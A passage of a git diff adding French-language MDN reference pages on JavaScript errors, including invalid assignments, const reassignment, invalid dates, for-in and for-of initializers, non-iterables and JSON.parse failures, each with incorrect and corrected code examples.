+<pre class="brush: js example-good">[ Math.pow(2, 40) ]                     // [ 1099511627776 ]
+[ -1 ]                                  // [ -1 ]
+new ArrayBuffer(Math.pow(2, 32) - 1)
+new ArrayBuffer(0)
+
+let a = [];
+a.length = Math.max(0, a.length - 1);
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = Math.min(0xffffffff, b.length + 1);
+
+// 0xffffffff est la notation hexadécimale
+// pour 2^32 - 1
+// ce qu'on peut également écrire (-1 &gt;&gt;&gt; 0)
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.length")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/invalid_assignment_left-hand_side/index.html b/files/fr/web/javascript/reference/erreurs/invalid_assignment_left-hand_side/index.html
new file mode 100644
index 0000000000..5253b4cb3d
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/invalid_assignment_left-hand_side/index.html
@@ -0,0 +1,54 @@
+---
+title: 'ReferenceError: invalid assignment left-hand side'
+slug: Web/JavaScript/Reference/Erreurs/Invalid_assignment_left-hand_side
+tags:
+  - Erreurs
+  - JavaScript
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">ReferenceError: invalid assignment left-hand side
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Un affectation inattendue a eu lieu. Cela peut être dû à un mélange entre <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation">un opérateur d'affectation</a> et <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison">un opérateur de comparaison</a>. Un seul signe égal affectera une valeur à une variable alors que les opérateurs <code>==</code> ou <code>===</code> comparent des valeurs entre elles.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js example-bad">if (Math.PI = 3 || Math.PI = 4) {
+  console.log('Nope !');
+}
+// ReferenceError: invalid assignment left-hand side
+
+var str = 'Hello, '
++= 'is it me '
++= 'you\'re looking for?';
+// ReferenceError: invalid assignment left-hand side
+</pre>
+
+<p>Dans l'instruction <code>if</code>, plutôt qu'une affectation, on voudra plutôt utiliser un opérateur <code>==</code> ou <code>===</code> et l'opérateur de concaténation (+) à la place pour la chaîne.</p>
+
+<pre class="brush: js example-good">if (Math.PI == 3 || Math.PI == 4) {
+  console.log('no way!');
+}
+
+var str = 'Hello, '
++ 'from the '
++ 'other side!';
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation">Opérateurs d'affectation</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison">Opérateurs de comparaison</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/invalid_const_assignment/index.html b/files/fr/web/javascript/reference/erreurs/invalid_const_assignment/index.html
new file mode 100644
index 0000000000..83d21663c9
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/invalid_const_assignment/index.html
@@ -0,0 +1,90 @@
+---
+title: 'TypeError: invalid assignment to const "x"'
+slug: Web/JavaScript/Reference/Erreurs/Invalid_const_assignment
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_const_assignment
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: invalid assignment to const "x" (Firefox)
+TypeError: Assignment to constant variable. (Chrome)
+TypeError: Redeclaration of const 'x' (Edge)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une constante est une valeur qui ne peut pas être modifiée lors de l'exécution du programme. Elle ne peut pas être modifiée grâce à une réaffectation ou grâce à une redéclaration. En JavaScript, les constantes sont déclarées grâce au mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/const">const</a></code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Redéclaration_invalide">Redéclaration invalide</h3>
+
+<p>Si on affecte une valeur à une constante dans la même portée de bloc que celui qui contient l'affectation initiale, une exception sera levée :</p>
+
+<pre class="brush: js example-bad">const COLUMNS = 80;
+
+// ...
+
+COLUMNS = 120; // TypeError: invalid assignment to const `COLUMNS'</pre>
+
+<h3 id="Résoudre_le_problème">Résoudre le problème</h3>
+
+<p>Il existe plusieurs façons de résoudre ce problème et il faut au préalable comprendre le rôle de la constante en question.</p>
+
+<h4 id="Utiliser_un_autre_nom">Utiliser un autre nom</h4>
+
+<p>Si on souhaite déclarer une autre constante, on peut utiliser un autre nom que celui qui est déjà pris dans cette portée :</p>
+
+<pre class="brush: js example-good">const COLUMNS = 80;
+const WIDE_COLUMNS = 120;</pre>
+
+<h4 id="const_let_ou_var"><code>const</code>, <code>let</code> ou <code>var</code> ?</h4>
+
+<p><code>const</code> ne doit pas être utilisé si on ne souhaite pas déclarer de constante. Peut-être qu'on souhaite simplement déclarer une variable avec une portée de bloc grâce à <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code> ou une variable globale avec <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code>.</p>
+
+<pre class="brush: js example-good">let columns = 80;
+
+// ...
+
+let columns = 120;
+</pre>
+
+<h4 id="Gérer_les_portées">Gérer les portées</h4>
+
+<p>On peut également vérifier qu'on est dans la bonne portée. Est-ce que la constante devait apparaître dans la portée en question ou devait être utilisée dans une fonction ?</p>
+
+<pre class="brush: js example-good">const COLUMNS = 80;
+
+function setupBigScreenEnvironment() {
+  const COLUMNS = 120;
+}</pre>
+
+<h3 id="const_et_l'immuabilité"><code>const</code> et l'immuabilité</h3>
+
+<p>La déclaration <code>const</code> crée une référence en lecture seule vers une valeur. Elle ne signifie pas que la valeur en question est immuable mais uniquement que l'identifiant de la référence ne peut pas recevoir de nouvelle valeur. Ainsi, si le contenu est un objet, celui-ci pourra toujours être modifié :</p>
+
+<pre class="brush: js example-bad">const obj = {toto: 'truc'};
+obj = {toto: 'bidule'}; // TypeError: invalid assignment to const `obj'
+</pre>
+
+<p>En revanche, on peut modifier les propriétés :</p>
+
+<pre class="brush: js example-good">obj.toto = 'bidule';
+obj; // Object { toto: "bidule" }</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/const">const</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/invalid_date/index.html b/files/fr/web/javascript/reference/erreurs/invalid_date/index.html
new file mode 100644
index 0000000000..cd05197ba4
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/invalid_date/index.html
@@ -0,0 +1,56 @@
+---
+title: 'RangeError: invalid date'
+slug: Web/JavaScript/Reference/Erreurs/Invalid_date
+tags:
+  - Erreurs
+  - JavaScript
+  - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_date
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">RangeError: invalid date (Edge)
+RangeError: invalid date (Firefox)
+RangeError: invalid time value (Chrome)
+RangeError: Provided date is not in valid range (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une chaîne de caractères indiquant une date invalide a été fournie comme argument au constructeur {{jsxref("Date")}} ou à la méthode {{jsxref("Date.parse()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<p>Les chaînes de caractères qui ne peuvent pas être converties en date ou les dates qui contiennent des éléments illégaux pour le format ISO renvoient généralement {{jsxref("NaN")}}. Cependant, selon l'implémentation, les chaînes de caractères qui ne respectent pas le format ISO pour les dates peuvent déclencher une exception <code>RangeError: invalid date</code>. Les instructions suivantes déclencheront cette erreur dans Firefox :</p>
+
+<pre class="brush: js example-bad">new Date('toto-truc 2014');
+new Date('2014-25-23').toISOString();
+new Date('toto-truc 2014').toString();
+</pre>
+
+<p>En revanche, cette instruction renverra {{jsxref("NaN")}} dans Firefox :</p>
+
+<pre class="brush: js example-bad">Date.parse('toto-truc 2014'); // NaN</pre>
+
+<p>Pour plus de détails, consulter la documentation sur {{jsxref("Date.parse()")}}.</p>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: js example-good">new Date('05 October 2011 14:48 UTC');
+new Date(1317826080); // timestamp Unix pour le 5 octobre 2011 14:48:00 UTC</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date")}}</li>
+ <li>{{jsxref("Date.prototype.parse()")}}</li>
+ <li>{{jsxref("Date.prototype.toISOString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/invalid_for-in_initializer/index.html b/files/fr/web/javascript/reference/erreurs/invalid_for-in_initializer/index.html
new file mode 100644
index 0000000000..d7845dc2f9
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/invalid_for-in_initializer/index.html
@@ -0,0 +1,74 @@
+---
+title: 'SyntaxError: for-in loop head declarations may not have initializers'
+slug: Web/JavaScript/Reference/Erreurs/Invalid_for-in_initializer
+tags:
+  - Erreurs
+  - JavaScript
+  - Mode strict
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_for-in_initializer
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: for-in loop head declarations cannot have an initializer (Edge)
+SyntaxError: for-in loop head declarations may not have initializers (Firefox)
+SyntaxError: for-in loop variable declaration may not have an initializer. (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}, uniquement en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>L'en-tête d'une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code> contient une expression d'initialisation, c'est-à-dire qu'une variable est déclarée et qu'on lui affecte une valeur. Ceci n'est pas autorisé en mode strict (et ignoré en mode non-strict).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple déclenchera une exception <code>SyntaxError</code> :</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+var obj = {a: 1, b: 2, c: 3 };
+
+for (var i = 0 in obj) {
+  console.log(obj[i]);
+}
+
+// SyntaxError: for-in loop head declarations may not have initializers
+</pre>
+
+<h3 id="Boucle_for-in_valide">Boucle for-in valide</h3>
+
+<p>On peut retirer l'initialisateur de l'en-tête de la boucle :</p>
+
+<pre class="brush: js example-good">"use strict";
+
+var obj = {a: 1, b: 2, c: 3 };
+
+for (var i in obj) {
+  console.log(obj[i]);
+}
+</pre>
+
+<h3 id="Parcours_d'un_tableau">Parcours d'un tableau</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in#Utiliser_for...in_et_parcourir_un_tableau">Il ne faut pas utiliser de boucle <code>for...in</code> pour parcourir un tableau (<code>Array</code>)</a>. Peut-être souhaitiez-vous utiliser une boucle <code>for</code> pour parcourir le tableau ? Cette boucle <code>for</code> permet également d'utiliser un initialisateur :</p>
+
+<pre class="brush: js example-good">var arr = [ "a", "b", "c" ]
+
+for (var i = 2; i &lt; arr.length; i++) {
+  console.log(arr[i]);
+}
+
+// "c"</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code> interdit également d'utiliser un initialisateur en mode strict et non-strict</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">for</a></code> permet de définir un initialisateur lors de l'itération et doit être privilégié pour parcourir un tableau</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/invalid_for-of_initializer/index.html b/files/fr/web/javascript/reference/erreurs/invalid_for-of_initializer/index.html
new file mode 100644
index 0000000000..a6f4d98483
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/invalid_for-of_initializer/index.html
@@ -0,0 +1,63 @@
+---
+title: >-
+  SyntaxError: a declaration in the head of a for-of loop can't have an
+  initializer
+slug: Web/JavaScript/Reference/Erreurs/Invalid_for-of_initializer
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_for-of_initializer
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: for-of loop head declarations cannot have an initializer (Edge)
+SyntaxError: a declaration in the head of a for-of loop can't have an initializer (Firefox)
+SyntaxError: for-of loop variable declaration may not have an initializer. (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>L'en-tête d'une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code> contient une expression d'initialisation, c'est-à-dire qu'une variable est déclarée et qu'on lui affecte une valeur. Ceci n'est pas autorisé pour les boucles <code>for-of</code>. En revanche, les boucles <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">for</a></code> permettent d'avoir un initialisateur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Boucles_for-of_invalides">Boucles <code>for-of</code> invalides</h3>
+
+<pre class="brush: js example-bad">let iterable = [10, 20, 30];
+
+for (let value = 50 of iterable) {
+  console.log(value);
+}
+
+// SyntaxError: a declaration in the head of a for-of loop can't
+// have an initializer</pre>
+
+<h3 id="Boucles_for-of_valides">Boucles <code>for-of</code> valides</h3>
+
+<p>Il faut retirer l'initialisateur de l'en-tête de la boucle pour ne plus avoir l'erreur. Si cette valeur devait servir d'incrément, on peut ajouter l'addition dans le corps de la boucle.</p>
+
+<pre class="brush: js example-good">let iterable = [10, 20, 30];
+
+for (let value of iterable) {
+  value += 50;
+  console.log(value);
+}
+// 60
+// 70
+// 80
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code> interdit également d'utiliser un initialisateur en mode strict (<a href="/fr/docs/Web/JavaScript/Reference/Errors/Invalid_for-in_initializer">SyntaxError: for-in loop head declarations may not have initializers</a>)</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">for</a></code> permet de définir un initialisateur lors de l'itération</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/invalid_right_hand_side_instanceof_operand/index.html b/files/fr/web/javascript/reference/erreurs/invalid_right_hand_side_instanceof_operand/index.html
new file mode 100644
index 0000000000..ef5cffa224
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/invalid_right_hand_side_instanceof_operand/index.html
@@ -0,0 +1,62 @@
+---
+title: 'TypeError: invalid ''instanceof'' operand ''x'''
+slug: Web/JavaScript/Reference/Erreurs/invalid_right_hand_side_instanceof_operand
+tags:
+  - Error
+  - Errors
+  - JavaScript
+  - Reference
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/invalid_right_hand_side_instanceof_operand
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: invalid 'instanceof' operand "x" (Firefox)
+TypeError: "x" is not a function (Firefox)
+TypeError: Right-hand side of 'instanceof' is not an object (Chrome)
+TypeError: Right-hand side of 'instanceof' is not callable (Chrome)</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>L'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/instanceof"><code>instanceof</code></a> attend un opérande droit qui soit un objet constructeur, c'est-à-dire un objet possédant une propriété <code>prototype</code> et qui puisse être appelé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js example-bad">"test" instanceof ""; // TypeError: invalid 'instanceof' operand ""
+42 instanceof 0;      // TypeError: invalid 'instanceof' operand 0
+
+function Toto() {}
+var f = Toto();        // Toto() est appelé et renvoie undefined
+var x = new Toto();
+
+x instanceof f;       // TypeError: invalid 'instanceof' operand f
+x instanceof x;       // TypeError: x is not a function
+</pre>
+
+<p>Pour corriger ces erreurs, il faut remplacer l'opérateur <code>instanceof</code> avec l'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_typeof"><code>typeof</code></a> ou s'assurer que l'opérande droit est la fonction et non le résultat de son évaluation.</p>
+
+<pre class="brush: js example-good">typeof "test" == "string";  // true
+typeof 42 == "number"       // true
+
+function Toto() {}
+var f = Toto;               // On n'appelle pas Toto.
+var x = new Toto();
+
+x instanceof f;             // true
+x instanceof Toto;          // true
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/instanceof"><code>instanceof</code></a></li>
+ <li>L'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_typeof"><code>typeof</code></a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/javascript/reference/erreurs/is_not_iterable/index.html b/files/fr/web/javascript/reference/erreurs/is_not_iterable/index.html
new file mode 100644
index 0000000000..1e3b4af06c
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/is_not_iterable/index.html
@@ -0,0 +1,128 @@
+---
+title: 'TypeError: ''x'' is not iterable'
+slug: Web/JavaScript/Reference/Erreurs/is_not_iterable
+tags:
+  - Error
+  - JavaScript
+  - Reference
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/is_not_iterable
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: 'x' is not iterable (Firefox, Chrome)
+TypeError: 'x' is not a function or its return value is not iterable (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La valeur passée comme opérande droit de <a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of"><code>for…of</code> </a>ou comme argument d'une fonction telle que {{jsxref("Promise.all")}} ou {{jsxref("TypedArray.from")}} n'est pas <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">un objet itérable</a>.  Un objet itérable peut être un objet itérable natif tel qu'un objet {{jsxref("Array")}}, {{jsxref("String")}} ou {{jsxref("Map")}} ou le résultat d'un générateur ou un objet qui implémente <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérable_»">le protocole itérable</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Parcourir_les_propriétés_d'un_objet">Parcourir les propriétés d'un objet</h3>
+
+<p>En JavaScript, les objets ne sont pas itérables car ils n'implémentent pas le <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérable_»">protocole itérable</a>. On ne peut donc pas utiliser <code>for...of</code> afin d'en parcourir les propriétés.</p>
+
+<pre class="brush: js example-bad">var obj = { 'France': 'Paris', 'England': 'London' };
+for (let p of obj) { // TypeError: obj is not iterable
+    // …
+}
+</pre>
+
+<p>Si on souhaite utiliser un itérateur pour parcourir les propriétés (leurs noms ou leurs valeurs), on pourra utiliser les méthodes {{jsxref("Object.keys")}} ou {{jsxref("Object.entries")}} qui fournissent des itérateurs :</p>
+
+<pre class="brush: js example-good">var obj = { 'France': 'Paris', 'England': 'London' };
+// On parcourt les noms des propriétés
+for (let country of Object.keys(obj)) {
+    var capital = obj[country];
+    console.log(country, capital);
+}
+
+for (const [country, capital] of Object.entries(obj))
+    console.log(country, capital);
+</pre>
+
+<p>On pourrait également utiliser un objet {{jsxref("Map")}} :</p>
+
+<pre class="brush: js example-good">var map = new Map;
+map.set('France', 'Paris');
+map.set('England', 'London');
+// On parcourt les noms des propriétés
+for (let country of map.keys()) {
+    let capital = map[country];
+    console.log(country, capital);
+}
+
+for (let capital of map.values())
+    console.log(capital);
+
+for (const [country, capital] of map.entries())
+    console.log(country, capital);
+</pre>
+
+<h3 id="Itérer_grâce_à_un_générateur">Itérer grâce à un générateur</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">Les générateurs</a> sont des fonctions qui, lorsqu'elles sont appelées, produisent des objets itérables.</p>
+
+<pre class="brush: js example-bad">function* generate(a, b) {
+  yield a;
+  yield b;
+}
+
+for (let x of generate) // TypeError: generate is not iterable
+    console.log(x);
+</pre>
+
+<p>Lorsqu'elles ne sont pas appelées, l'objet {{jsxref("Function")}} correspondant au générateur peut être appelé mais il n'est pass itérable. Il ne faut donc pas oublier d'invoquer le générateur afin de parcourir les valeurs de l'itérateur qu'il produit.</p>
+
+<pre class="brush: js example-good">function* generate(a, b) {
+    yield a;
+    yield b;
+}
+
+for (let x of generate(1,2))
+    console.log(x);
+</pre>
+
+<h3 id="Parcourir_un_itérable_spécifique">Parcourir un itérable spécifique</h3>
+
+<p>Les itérables spécifiques (<em>custom iterables</em>) peuvent être créés en implémentant la méthode {{jsxref("Symbol.iterator")}}. En implémentant cette méthode, il faut s'assurer que la valeur renvoyée est un objet qui est un itérateur. Autrement dit, l'objet renvoyé doit posséder une méthode <code>next()</code>.</p>
+
+<pre class="brush: js example-bad">const monIterableVide = {
+    [Symbol.iterator]() {
+        return [] // [] est un iterable mais pas un itérateur
+                  // car il n'a pas de méthode next
+    }
+}
+
+Array.from(monIterableVide);  // TypeError: monIterableVide is not iterable
+</pre>
+
+<p>Voici une implémentation correcte :</p>
+
+<pre class="brush: js example-good">const monIterableVide = {
+    [Symbol.iterator]() {
+        return [][Symbol.iterator]()
+    }
+}
+
+Array.from(monIterableVide);  // []
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérable_»">Le protocole itérable</a></li>
+ <li>{{jsxref("Object.keys")}}</li>
+ <li>{{jsxref("Object.entries")}}</li>
+ <li>{{jsxref("Map")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs#Générateurs">Les générateurs</a></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for…of</a></code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/json_bad_parse/index.html b/files/fr/web/javascript/reference/erreurs/json_bad_parse/index.html
new file mode 100644
index 0000000000..b09d02bdaf
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/json_bad_parse/index.html
@@ -0,0 +1,112 @@
+---
+title: 'SyntaxError: JSON.parse: bad parsing'
+slug: Web/JavaScript/Reference/Erreurs/JSON_bad_parse
+tags:
+  - Erreurs
+  - JSON
+  - JavaScript
+  - NeedsExample
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/JSON_bad_parse
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: JSON.parse: unterminated string literal
+SyntaxError: JSON.parse: bad control character in string literal
+SyntaxError: JSON.parse: bad character in string literal
+SyntaxError: JSON.parse: bad Unicode escape
+SyntaxError: JSON.parse: bad escape character
+SyntaxError: JSON.parse: unterminated string
+SyntaxError: JSON.parse: no number after minus sign
+SyntaxError: JSON.parse: unexpected non-digit
+SyntaxError: JSON.parse: missing digits after decimal point
+SyntaxError: JSON.parse: unterminated fractional number
+SyntaxError: JSON.parse: missing digits after exponent indicator
+SyntaxError: JSON.parse: missing digits after exponent sign
+SyntaxError: JSON.parse: exponent part is missing a number
+SyntaxError: JSON.parse: unexpected end of data
+SyntaxError: JSON.parse: unexpected keyword
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: end of data while reading object contents
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: end of data when ',' or ']' was expected
+SyntaxError: JSON.parse: expected ',' or ']' after array element
+SyntaxError: JSON.parse: end of data when property name was expected
+SyntaxError: JSON.parse: expected double-quoted property name
+SyntaxError: JSON.parse: end of data after property name when ':' was expected
+SyntaxError: JSON.parse: expected ':' after property name in object
+SyntaxError: JSON.parse: end of data after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal
+SyntaxError: JSON.parse: property names must be double-quoted strings
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
+SyntaxError: JSON.parse Error: Invalid character at position {0} (Edge)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Lorsque la méthode {{jsxref("JSON.parse()")}} analyse (<em>parse</em>) une chaîne de caractères en JSON, cette chaîne doit être du JSON valide et une exception sera levée si la syntaxe est incorrecte.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="JSON.parse()_n'accepte_pas_les_virgules_en_fin_de_tableau"><code>JSON.parse()</code> n'accepte pas les virgules en fin de tableau</h3>
+
+<p>Les deux lignes qui suivent déclencheront une exception <code>SyntaxError</code> :</p>
+
+<pre class="brush: js example-bad">JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+</pre>
+
+<p>Pour que la méthode puisse analyser le JSON correctement, on évitera les virgules en fin de tableau :</p>
+
+<pre class="brush: js example-good">JSON.parse('[1, 2, 3, 4 ]');
+JSON.parse('{"foo" : 1 }');</pre>
+
+<h3 id="Les_noms_des_propriétés_doivent_être_entre_double_quotes">Les noms des propriétés doivent être entre double quotes</h3>
+
+<p>On ne peut pas utiliser de quotes simples pour indiquer le nom d'une propriété (ex. <code>'toto'</code>).</p>
+
+<pre class="brush: js example-bad">JSON.parse("{'toto' : 1 }");
+// SyntaxError: JSON.parse: expected property name or '}'
+// at line 1 column 2 of the JSON data</pre>
+
+<p>À la place, on écrira <code>"toto"</code> :</p>
+
+<pre class="brush: js example-good">JSON.parse('{"toto" : 1 }');</pre>
+
+<h3 id="Zéros_en_début_de_nombres_et_points_décimaux">Zéros en début de nombres et points décimaux</h3>
+
+<p>On ne peut pas utiliser de zéros en début de nombre (ex. 01). Par ailleurs, les nombres décimaux doivent avoir une partie décimale, on ne peut pas terminer un nombre par un point.</p>
+
+<pre class="brush: js example-bad">JSON.parse('{"toto" : 01 }');
+// SyntaxError: JSON.parse: expected ',' or '}' after property value
+// in object at line 1 column 2 of the JSON data
+
+JSON.parse('{"toto" : 1. }');
+// SyntaxError: JSON.parse: unterminated fractional number
+// at line 1 column 2 of the JSON data
+</pre>
+
+<p>Pour que cela fonctionne, on écrira simplement 1 sans 0 devant et au moins un chiffre après le séparateur décimal :</p>
+
+<pre class="brush: js example-good">JSON.parse('{"toto" : 1 }');
+JSON.parse('{"toto" : 1.0 }');
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("JSON")}}</li>
+ <li>{{jsxref("JSON.parse()")}}</li>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/malformed_formal_parameter/index.html b/files/fr/web/javascript/reference/erreurs/malformed_formal_parameter/index.html
new file mode 100644
index 0000000000..cd40696f25
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/malformed_formal_parameter/index.html
@@ -0,0 +1,64 @@
+---
+title: 'SyntaxError: Malformed formal parameter'
+slug: Web/JavaScript/Reference/Erreurs/Malformed_formal_parameter
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Malformed_formal_parameter
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected {x} (Edge)
+SyntaxError: malformed formal parameter (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
